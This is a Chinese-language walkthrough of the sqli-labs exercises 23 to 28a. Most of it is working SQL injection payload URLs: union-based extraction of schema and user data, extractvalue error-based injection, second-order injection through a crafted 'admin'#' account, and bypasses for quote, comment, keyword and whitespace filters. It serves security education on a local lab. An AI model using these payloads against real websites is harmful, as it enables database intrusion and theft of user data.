本文为mysql注入天书连载第二篇。
第一篇地址:https://xianzhi.aliyun.com/forum/read/314.html
[hr]
第二部分/page-2 Advanced injection
Less-23
Sql语句为$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";此处主要是在获取id参数时进行了#,--注释符号的过滤。
Solution:
http://127.0.0.1/sqllib/Less-23/index.php?id=-1%27union%20select%201,@@datadir,%273
此处的sql语句为
SELECT * FROM users WHERE id='-1' union select 1,@@datadir,’3’ limit 0,1
Explain:此处讲解几个知识点:
1、id=-1,为什么要用-1,因为sql语句执行了两个select语句,第一个select为id的选择语句,第二个为我们构造的select语句。只有一个数据可以输出,为了让我们自己构造的数据可以正常输出,第一个select要没有结果,所以-1或者超过数据库所有数据都可以。
2、-1' union select 1,@@datadir,’3,第一个’(单引号)闭合-1,第二个’(单引号)闭合后面的。这样将查询内容显示在username处。
3、此处可以报错注入,延时注入,可以利用or ‘1’=’1进行闭合。http://127.0.0.1/sqllib/Less-23/index.php?id=1%27or%20extractvalue%281,concat%280x7e,database%28%29%29%29%20or%20%271%27=%271
以上这条语句就是利用extractvalue()进行报错注入。
将@@datadir修改为其他的选择内容或者是内嵌的select语句。以下用联合注入方法进行注入。
• 获取数据库
http://127.0.0.1/sqllib/Less-23/index.php?id=-1'union select 1,(select group_concat(schema_name) from information_schema.schemata),'3
此处获取的数据库为security
• 查看security库数据表
http://127.0.0.1/sqllib/Less-23/index.php?id=-1'union select 1,(select group_concat(table_name) from information_schema.tables where table_schema='security'),'3
• 查看users表的所有列http://127.0.0.1/sqllib/Less-23/index.php?id=-1'union select 1,(select group_concat(column_name) from information_schema.columns where table_name='users'),'3
• 获取内容
http://127.0.0.1/sqllib/Less-23/index.php?id=-1'union select 1,(select group_concat(username) from security.users limit 0,1),'3
Less-24
Ps:本关可能会有朋友和我遇到一样的问题,登录成功以后没有修改密码的相关操作。此时造成问题的主要原因是logged-in.php文件不正确。可重新下载解压,解压过程中要主要要覆盖。
本关为二次排序注入的示范例。二次排序注入也成为存储型的注入,就是将可能导致sql注入的字符先存入到数据库中,当再次调用这个恶意构造的字符时,就可以出发sql注入。二次排序注入思路:
(2)注册admin’#账号
(3)注意此时的数据库中出现了admin’#的用户,同时admin的密码为111
(4)登录admin’--,并修改密码
(5)可以看到admin的密码已经修改为lcamry
Less-25
本关主要为or and过滤,如何绕过or和and过滤。一般性提供以下几种思路:
(1)大小写变形 Or,OR,oR
(2)编码,hex,urlencode
(3)添加注释/or/
(4)利用符号 and=&& or=||
暂时只想到这些,还有的话可以补充。
本关利用方法(4)进行。
报错注入 or示例
http://127.0.0.1/sqllib/Less-25/index.php?id=1'|| extractvalue(1,concat(0x7e,database()))--+
And 示例
http://127.0.0.1/sqllib/Less-25/index.php?id=1&&1=1--+
Less-25a
不同于25关的是sql语句中对于id,没有’’的包含,同时没有输出错误项,报错注入不能用。其余基本上和25示例没有差别。此处采取两种方式:延时注入和联合注入。http://127.0.0.1/sqllib/Less-25a/?id=-1%20UNION%20select%201,@@basedir,3%23
此处我们依旧用|| &&来代替and,or。
http://127.0.0.1/sqllib/Less-25a/?id=20||1=1--+
Less-26
TIPS:本关可能有的朋友在windows下无法使用一些特殊的字符代替空格,此处是因为apache的解析的问题,这里请更换到linux平台下。
本关结合25关,将空格,or,and,/,#,--,/等各种符号过滤,此处对于and,or的处理方法不再赘述,参考25.此处我们需要说明两方面:对于注释和结尾字符的我们此处只能利用构造一个 ’ 来闭合后面到 ’ ;对于空格,有较多的方法:
%09 TAB键(水平)
%0a 新建一行
%0c 新的一页
%0d return功能
%0b TAB键(垂直)
%a0 空格
26关,sql语句为SELECT FROM users WHERE id='$id' LIMIT 0,1
我们首先给出一个最为简单的payload:
http://127.0.0.1/sqllib/Less-26/?id=1'%a0||'1
Explain:'%a0||'1
同时,我们此处的sql语句为SELECT * FROM users WHERE id='1' || ‘1’ LIMIT 0,1
第一个 ‘ 首先闭合id='$id' 中的’,%a0是空格的意思,(ps:此处我的环境是ubuntu14.04+apache+mysql+php,可以解析%a0,此前在windows+wamp测试,不能解析%a0,有知情的请告知。)同时%0b也是可以通过测试的,其他的经测试是不行的。||是或者的意思,‘1则是为了闭合后面的 ’ 。
因此可以构造类似的语句,http://127.0.0.1/sqllib/Less-26/?id=100%27union%0bselect%a01,2,3||%271
接下来只不要更改sql语句即可。按照我们前面所介绍的方法即可。同时,也可以利用报错注入和延时注入等方式进行注入。这里就不进行一一的演示了。
Less-26a
这关与26的区别在于,sql语句添加了一个括号,同时在sql语句执行抛出错误后并不在前台页面输出。所有我们排除报错注入,这里依旧是利用union注入。
sql语句为SELECT * FROM users WHERE id=('$id') LIMIT 0,1
我们构造payload:
http://127.0.0.1/sqllib/Less-26a/?id=100‘)union%a0select%a01,2,3||(’1
explain:基础与26一致,我们直接用 ‘) 闭合前面的,然后跟上自己构造的注入语句即可。最后利用('1 进行闭合即可。
http://127.0.0.1/sqllib/Less-26a/?id=100’)union%a0select%a01,user(),(‘3
可将user()更换为你想要的sql语句。同时该例可以利用延时注入。前面已经有介绍了,自行构造即可。
Less-27
本关主要考察将union,select和26关过滤掉的字符。此处我们依旧和26关的方式是一样的,只需要将union和select改为大小写混合就可以突破。
示例:127.0.0.1/sqllib/Less-27/?id=100'unIon%a0SelEcT%a01,database(),3||'1
TIPS:uniunionon也是可以突破限制的。亦可以利用报错注入和延时注入的语法进行注入。
Less-27a
本关与27关的区别在于对于id的处理,这里用的是 “ ,同时mysql的错误不会在前端页面显示。
我们根据27关直接给出一个示例payload:
http://127.0.0.1/sqllib/Less-27a/?id=100“%a0UnIon%a0SElecT%a01,user(),”3
TIPs:这里说下以上payload我们利用最后的3前面的 “ 将后面的 “ 给闭合掉。或者亦可以利用以前的方法 1,user(),3 || “1,同时本关可以用延时注入的方法进行注入。
Less-28
本关考察内容与27关没有太大的差距,我们直接给出一个payload:
http://127.0.0.1/sqllib/Less-28/?id=100')union%a0select(1),(user()),(3)||('1
Less-28a
本关与28基本一致,只是过滤条件少了几个。
http://127.0.0.1/sqllib/Less-28a/?id=100%27)unIon%0bsElect%0b1,@@basedir,3||(%271